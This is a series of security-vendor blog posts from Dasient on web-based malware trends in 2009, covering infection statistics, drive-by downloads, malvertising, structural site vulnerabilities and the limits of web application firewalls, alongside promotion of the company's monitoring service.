Q4'09 web-based malware data and trends

Ed. Note: The data in this post is drawn primarily from Dasient's proprietary malware analysis platform, which gathers data on web-based malware attacks from across the web, and in the last year has been used to help tens of thousands of site owners address their web-based malware issues.

As we reported last quarter, the way malware is being distributed is undergoing a fundamental shift, with more attackers focusing on "drive-by downloads" from legitimate sites that have been compromised, or from sites designed specifically for malicious purposes. In nearly all the variations on this kind of attack, no user action is required for the infection to occur, beyond loading the site in a browser -- and there are very few signs that malicious code has been downloaded.

There is perhaps no better illustration of this shift than the way malware was employed in the recent attack on Google and several other companies. One of the components of the attack involved spear-phishing one or more Google employees, with an aim of driving them to a site that then exploited a zero-day vulnerability in Internet Explorer 6 to download malware to those employees' computers. In previous years, such an attack would have solely made use of a malicious email attachment to compromise the target's computer; now, attackers are clearly opting to employ multiple vectors, including web-based methods.

Looking at the data for Q4'09

Based on the telemetry data we've gathered from the web, we estimate that more than 560,000 sites and approximately 5.5 million pages were infected in Q4'09, compared with more than 640,000 sites and 5.8 million pages in Q3'09. By the end of the year, we had identified more than 100,000 web-based malware infections.

Also in Q4'09, the infections on newly compromised sites of 10 pages or more spread to an average of 24% of those sites' pages, up from 19 percent the previous quarter. This increase helps account for the smaller drop in the number of infected pages for the quarter, relative to the drop in infected sites. In other words, we saw a more significant drop in the number of infected sites than we did in the number of infected pages because each infection tended to spread to a larger number of pages on each site.

Finally, we saw a reinfection rate of 42 percent for the quarter (compared with 39 percent in Q3'09), meaning that more than four of every 10 sites infected in the quarter were reinfected within a space of three months. And, of course, with each infection the site is likely to suffer a loss of traffic, a decline in revenue, and damage to brand equity.

While we clearly saw a slight dip in some of the key metrics in the quarter (and, more specifically, as we neared the end of the year), the macro trend still points to a steady and significant increase in this kind of activity. To cite just one indicator: The number of infected pages for the quarter, 5.5 million, is a substantial increase from data published by Microsoft in April 2009, which pegged the number of infected pages per quarter at a little more than 3 million.

Attackers getting smarter

Like most other kinds of attackers, purveyors of web-based malware have long since adopted basic social engineering techniques to maximize their chances of remaining undetected as they infect endpoints. We saw plenty of evidence confirming that trend in Q4'09: For example, the most common domains being sourced in the download of a malicious file included innocuous-looking names like "google-query.com," "netlinkenterprises.com," and "starktourism.com." Similarly, the file names most often used in drive-by downloads included things like "setup.exe," "update.exe" (which was used in the Google attack), and "install_flash_player.exe."

But we also saw some evidence that attackers are responding directly to industry efforts to curb the spread of web-based malware. One interesting example can be found in the average number of extra processes started when a drive-by download is initiated. In previous years, a drive-by download would often initiate 10 or more extra processes, ostensibly in an attempt to maximize the return from each infected endpoint. In response, the search providers and anti-virus vendors who scan the web for infected sites began using the number of extra processes initiated as a signal that the webpage might be malicious. But in Q4'09, the average number of extra processes initiated was just 2.8 -- enough for a downloader and perhaps one or two pieces of malware. Clearly, attackers are getting smarter about the way they structure their attacks, opting for a smaller fingerprint on an infected machine in exchange for a greater likelihood of evading detection.

Structural vulnerabilities still being exploited

It stands to reason that the increasing complexity in and interoperability between websites and web applications has played a significant role in the rise of web-based malware. After all, the more dynamic and sophisticated your pages or applications are, the more vulnerabilities there will be for attackers to exploit. The data for Q4'09 certainly bears that out: .php, .asp, and .aspx (all file types associated with dynamic web content) accounted for 55 percent of all compromised URLs in the quarter.



Of course, a closer look at the data reveals that file types associated with static pages, such as .html, .htm, and .shtml, accounted for 39.6 percent of the compromised URLs for the quarter. This suggests that attackers are still focused in no small part on exploiting structural vulnerabilities in the web to compromise legitimate sites -- vulnerabilities like sourced-in third-party content or applications; user-added content like comments, links, photos, and other files; and syndicated ad networks, among other things. There are no simple solutions for closing these kinds of vulnerabilities, something that all site owners who want to avoid being infected -- and potentially infecting their users and being blacklisted -- should bear in mind when considering the protections they employ.

Keeping your site safe

If you're a business owner and you'd like to learn more about how Dasient WAM can help protect your websites, head here. If you're a web hosting provider and you'd like to learn about partnership opportunities with Dasient, check out this page. And no matter who you are, please be sure to check out our Twitter feed at http://twitter.com/dasient for all the latest in web-based malware and general security news.

Dasient WAM monitoring and diagnostic services now OOB

Some of you may have already seen our announcement earlier this morning, but for those of you who haven't: The Dasient Web Anti-Malware (WAM) monitoring and diagnostic services have graduated out of beta, and are now generally available. We've had an exciting few months since first launching these services, continuing to build out the scalability, reliability, and speed of our malware detection platform and proving its readiness with tens of thousands of beta customers. We're thrilled to be able to make these services generally available, so we can help even more businesses and site owners protect themselves from web-based malware.

With the graduation out of beta, we'll be introducing some new features. They include richer reporting tools that will provide customers with data on the number of URLs scanned each week, lists of all URLs scanned and attacks being checked for, and the latest web-based malware attacks Dasient has detected. They also include new account management features that will enable customers using Dasient WAM to protect multiple domains to manage all those domains using a single login.

Other new updates include significant upgrades to the overall speed and reliability of the Dasient WAM scanning technology, as well as the ability to scan customer sites for links to dangerous downloads that might be placed in user-generated content or in syndicated ads on those sites.

We've also launched a redesign of Dasient.com that features some new resources for current and potential customers. Head here to learn a little more about web-based malware and the threat it poses to businesses and site owners of all types and sizes. Or check out some of our customer testimonials, to hear firsthand how Dasient WAM helped them. We also have a new whitepaper on drive-by downloads and other web-based malware threats.

To learn more about how Dasient WAM can help you protect yourself from the threat of web-based malware -- and the attendant loss of traffic, decline in revenue, and damage to brand equity -- check out our product page.

Another step forward in the fight against malvertising

Last week, Google announced that it will now be taking a zero-tolerance approach to dealing with advertisers that place ads that violate its terms of service, including malicious ads that can infect users with malware. Google had previously been removing these ads from its network as it identified them; it will now be permanently disabling the AdWords accounts of the advertisers that put those ads into its network. This new policy shift should force individual advertisers and affiliate to think twice before placing malicious ads with Google, but hopefully it will also start to make an impact in addressing the broader malvertising threat.

To provide some context, the quality and safety of ads has been a concern for users, publishers, advertisers, and technology companies since advertising first appeared on the web more than a dozen years ago. Some of the first ads embedded in webpages took the form of banners -- some of which were criticized for the bandwidth that they required when most of the world was still using dial-up modems to access the Internet, and for their "loudness."

As companies such as Sun and Netscape worked together to bring more interactive forms of content and ads to browsers, sandboxes like the Java Virtual Machine were introduced to protect users from potentially malicious interactive content. In parallel to the development of Java, other forms of interactivity were brought to market, including JavaScript, ActiveX, Flash, and Shockwave, and different levels of security and interactivity distinguish these technologies. Some of them leverage browser "plugins" that ran code natively and in an unrestricted fashion on the user's machine (such as ActiveX), while others employ sandboxes in an attempt to protect users (though not always effectively). Often, functionality wins out over security when developers are faced with the pressing market needs of advertisers and content publishers, leading to much more frequent uses of technologies that are more interactive but less safe than technologies that are less interactive but more safe.

As a result, we today have a world where attackers interested in harming users with malicious ads can take advantage a large variety of vulnerabilities in browsers, plugins, and operating systems to do so. Here at Dasient, we've seen a significant increase in the amount of malvertising activity in the last year, and have worked with a number of companies and site owners who have been impacted by it. Some of these sites' users were infected by malicious ads; others ended up on the unsafe-site blacklists maintained by search engines, browsers, and anti-virus companies. Either way, the sites ended up losing traffic, revenue, and brand equity because a malicious ad popped up on their site via a syndicated ad network.

We're optimistic that Google's new policy shift will inspire similar moves from other online ad syndicators, and that in turn the advertisers and affiliates who traffic in malicious ads will have fewer channels to distribute their wares. Some commentators are already arguing that it won't; that not everyone can afford to take Google's principled stand. We hope that's not the case, but either way, it'll likely take a long time to stamp this threat out altogether. In the meantime, businesses and site owners interested in protecting their users and their reputation on the web can take advantage of tools like Daisent Web Anti-Malware (WAM), which regularly monitors your site and provides you with immediate alerts and detailed diagnostic information as soon as an infection or a malicious ad is detected.

To learn more about Dasient WAM, check out this page. And for all the latest news on web-based malware and the security space in general, be sure to follow us on Twitter at http://twitter.com/dasient.

Structural vulnerabilities, and the importance of being prepared

Interesting story in the media late last week, with several articles detailing a newly discovered vulnerability created by the origin policies for third-party Flash objects embedded on sites. This vulnerability is especially serious, as it's structural in nature -- meaning that it stems from the way this third-party content is actually embedded in sites, rather than from a software hole that can be patched. There is no simple solution for closing this vulnerability.

As the web grows increasingly interdependent -- with web companies and site owners sourcing in more and more content and applications from each other and from users -- these structural vulnerabilities will only continue to grow in variety and number. At present, they include sourcing in third-party content or applications; enabling users to add content like comments, links, photos, and other files; and employing syndicated ad networks, among other things. These vulnerabilities are already relatively widespread: For example, 66 percent of the top 500 sites in the US run ads, 47 percent of the top 100 accept user-generated content, and 75 percent of the top 100 newspapers in the US enable user comments.

These vulnerabilities open sites up to a number of potential exploits, not least of which is being turned into a delivery vehicle for malware, wherein a site inadvertently infects some or all of its visitors with malicious software. This can in turn trigger losses in traffic, reputation, and revenue, as visitors discover the infections and as the site is evaluated by the search engines, browsers, and AV providers that blacklist dangerous sites. And since these vulnerabilities are structural, there's often no way to "close" them. In other words, there's nothing site owners can do to guarantee that they won't be exploited, other than abandon things like third-party content and ad networks altogether (which, for most sites, isn't much of an option).

So what can site owners who rely on elements of the interdependent web do to reduce the likelihood that their site will be compromised? At Dasient, we believe that a fast, scalable scanning and diagnostic service is an increasingly crucial part of any defense strategy. In the last few months alone, we've seen a significant increase in the number of sites that are being compromised and turned into delivery vehicles for malware. Now more than ever, site owners need to be able to quickly locate and address any bad code that finds its way onto their sites.

To learn more about how Dasient's Web Anti-Malware service might be able to help you, check out this page.

For malware attacks, WAFs need to be complemented by WAM

Dmitry Evteev of Positive Technologies recently posted about a method to bypass web application firewalls (like mod-security) to mount SQL injection attacks.

While web application firewalls (or WAFs) play an important role in a defense-in-depth strategy, the post highlights why businesses cannot rely solely on preventative technologies like WAFs to secure their websites from attacks, particularly web-based malware attacks.

For one, as the article and the comments demonstrate, WAFs require configuration and ongoing maintenance of software and rulesets to prevent the latest attacks. If the WAF is running out-of-date software or rulesets, or if the administrator has improperly configured the device, it will not be able to prevent attacks like the one detailed in Dmitry's post.

Second, there will always be new types of attacks and new vulnerabilities that attackers can exploit to inject malicious code onto websites. WAFs can enforce security policies based on signatures of known attacks, but they cannot necessarily prevent "zero-day" attacks that look like normal traffic.

Finally, not all malware attacks exploit web application vulnerabilities to place malware on websites. For example, the Gumblar attack from earlier this year relied on compromised FTP credentials to infect sites. Recent malvertising attacks have taken advantage of syndicated ad networks to display malicious ads on legitimate publisher sites. A recent study by Google discovered that "the [malicious] code was often contained in those parts of the website not designed or controlled by the website owner, such as banner adverts and widgets... Widgets are small programs that may, for example, display a calendar on a webpage or a web traffic counter. These are often downloaded from third-party sites."

Security professional tend to invest heavily in "preventative" solutions, but underinvest in technologies to detect and remediate problems when they (inevitably) occur. WAFs can help "raise the bar," making it more difficult for attackers to infect a legitimate website. However, given that attackers can circumvent preventative technologies like WAFs, businesses cannot rely on WAFs alone to secure themselves from malware attacks. To provide true defense-in-depth, WAFs must be complemented by services like Dasient Web Anti-Malware (WAM) that automatically monitor websites for infections and remediate them when they occur.

New Q3'09 malware data, and the Dasient Infection Library

Ed. Note: The data in this post is drawn primarily from Dasient's proprietary malware analysis platform, which gathers data on web-based malware attacks from across the web and in the last six months has been used to help tens of thousands of site owners address their web-based malware issues. This is the first in a series of regular reports on these trends.

As we've discussed in this space before, we are seeing a fundamental shift in how malware is being distributed: Attackers are focusing more than ever on compromising legitimate websites and using them to distribute malware. As a result, more and more sites are feeling the effects of web-based malware infection, which can include loss of traffic, decline in revenue, and damage to brand equity.

This trend is underlined by the data we've gathered on the third quarter of 2009, which saw significant activity on the web-based malware front. During that span, Dasient identified more than 52,000 web-based malware infections, making for a total of more than 72,000 unique malware infections identified and catalogued since our malware analysis platform launched.

Based on the telemetry data we've gathered from the web, we estimate that more than 640,000 sites and approximately 5.8 million pages were infected in the quarter. This is a substantial increase from data published by Microsoft in April 2009, which pegged the number of infected pages per quarter at a little more than 3 million. This increased activity is also reflected in the rapid growth of the blacklists maintained by search engines, browsers, and anti-virus software companies. The Google blacklist alone has more than doubled in the last year, and at certain points has been adding 40,000 new sites per week.

This shift has been accelerated by the fact that using legitimate sites as a delivery method enables attackers to infect large numbers of endpoints at once, and by the trend toward increasing complexity in and interoperability between websites and web applications (which is in turn opening up more and more attack surfaces).

Substantial portions of sites being infected

While it often takes only a couple of infected pages to harm users or land a site on one of the many blacklists, our research suggests that when sites are infected, the bad code is installed on a significant portion of the pages on those sites. In Q3'09, the infections on newly compromised sites of 10 pages or more spread to an average of 19% of those sites' pages.

This number is significant for a couple of reasons. For one, the greater the percentage of a site that's infected, the greater the chances are that the site will spread malware to users or be flagged by a blacklist provider. For another, modern web-based malware infections are frequently complex and heavily obfuscated, making it a challenge even for experienced webmasters to identify all the bad code on the site and remove it. The more infected pages there are on the site, the longer it can take to address the infection. And if the site has already been blacklisted (which is often the case), then the site will take a hit in traffic, reputation, and revenue with each day that passes during the cleanup and blacklist appeal process.

High reinfection rate

Another trend worth noting from Q3 is the high reinfection rate for sites, which came in at 39.6%. There are a number of factors that could contribute to a high reinfection rate, including the tendency for attackers to look for attack vectors common to large numbers of sites and then develop automated attack scripts that will repeatedly seek out those vectors and exploit them.

The sheer number of available attack vectors likely also plays a part. Common attack vectors include compromised FTP credentials, server-side vulnerabilities, unpatched or unknown web application vulnerabilities, and syndicated ad networks serving malicious ads. With attackers embracing scale and automation, and with so many ways for even well-secured sites to be compromised, it's becoming more and more important for site owners to employ tools that can help them regularly monitor their sites for infection and quickly address any issues that arise.

New attack techniques

As you can see in the graph below, the vast majority of the web-based malware attacks in Q3 could be classified as JavaScript (54.8%) and iFrame (37.1%) attacks, with "other" attacks accounting for only 8.1%.

One of the challenging things about trying to protect sites from the threat of web-based malware is that the attacks often evolve very quickly and make use of a number of obfuscation techniques to evade traditional malware scanners. We saw plenty of this activity in Q3, with some notable recent examples being dynamically generating the SRC attribute in iFrames to foil scanners that look at SRC attributes; using partially or fully encoded URLs to frustrate scanners that look for regular expressions; and adding phrases like "analytics-google" to malicious code to fool webmasters into thinking the code is legitimate.

Dasient to open up web-based malware Infection Library

The Dasient Web-Anti Malware (WAM) service regularly monitors our customers' sites for signs of a web-based malware infection. When an infection is detected, it notifies the customer immediately, providing full diagnostic information on the infection. It can also automatically strip out the bad code from infected pages before they're served to the site's users -- keeping those users safe and keeping the site off the blacklist. We're proud to be able to provide this service to our customers, and have received great feedback since launching earlier this year.

But as the threat of web-based malware continues to grow, one of the things we're hearing from the web, security, and IT professionals we work with is that they need more information to help them keep track of the threat and ensure that they have the tools they need to address it. With that in mind, we will now start providing these professionals with a view into the Dasient Infection Library, which in just a few months has accumulated data on more than 70,000 different web-based malware infections.

To start, we'll be providing information on the top 10 web-based malware attacks for the week, as well as some other basic trend information on the latest attacks. We'll also be publishing relatively new infections that our platform finds to a dedicated Twitter feed. We hope to expand the view we offer into our Infection Library in the future, and are looking forward to your feedback on the kinds of data and functionality you'd find useful.

If you're a business owner and you'd like to learn more about how Dasient WAM can help protect your business, head here. If you're a web hosting provider and you'd like to learn about partnership opportunities with Dasient, check out this page. And no matter who you are, please be sure to check out our Twitter feed at http://twitter.com/dasient for all the latest in web-based malware and general security news.

More industry attention on web-based malware

Yesterday, Google announced that it plans to start providing owners of malware-infected sites with samples of the bad code that its scanners have uncovered. This new functionality is launching as an experimental feature in Webmaster Tools, and as I mentioned in the talk I gave at Google this past July, we're excited to be working in concert with Google and others to tackle the threat of web-based malware and help make the web a safer place overall.

This announcement clearly underlines the growing need for this kind of information and for new tools to help site owners protect themselves and their users. As we've mentioned before in this space, millions of legitimate webpages are infected with web-based malware every month, and the size of the blacklists maintained by search engines, browsers, and AV providers continues to grow.

Another issue the announcement raises is how difficult it can be for businesses whose sites have been infected to locate the source of the infections and address them (especially since the malicious code is sometimes heavily obscured). And since businesses often don't discover these infections until their sites have been blacklisted, they're taking a hit in traffic, revenue, and reputation with every hour that passes as they try to solve the problem.

We've helped tens of thousands of site owners deal with web-based malware infections in the last eight months -- providing not just snippets, but also full, regular site scans, immediate infection alerts, and automatic remediation tools -- and we've seen firsthand how frustrating these infections can be for them, and how helpful services like Dasient WAM can be.

If you're concerned about web-based malware infections and the impact they can have on your business, sign up for Dasient's monitoring service, which can identify infections and alert you before your site ends up on one of the blacklists. We also encourage you to try out our free, open-source server plugin, which will automatically block any malicious code we detect from being served to users -- helping you keep those users safe and keep your site off the blacklists.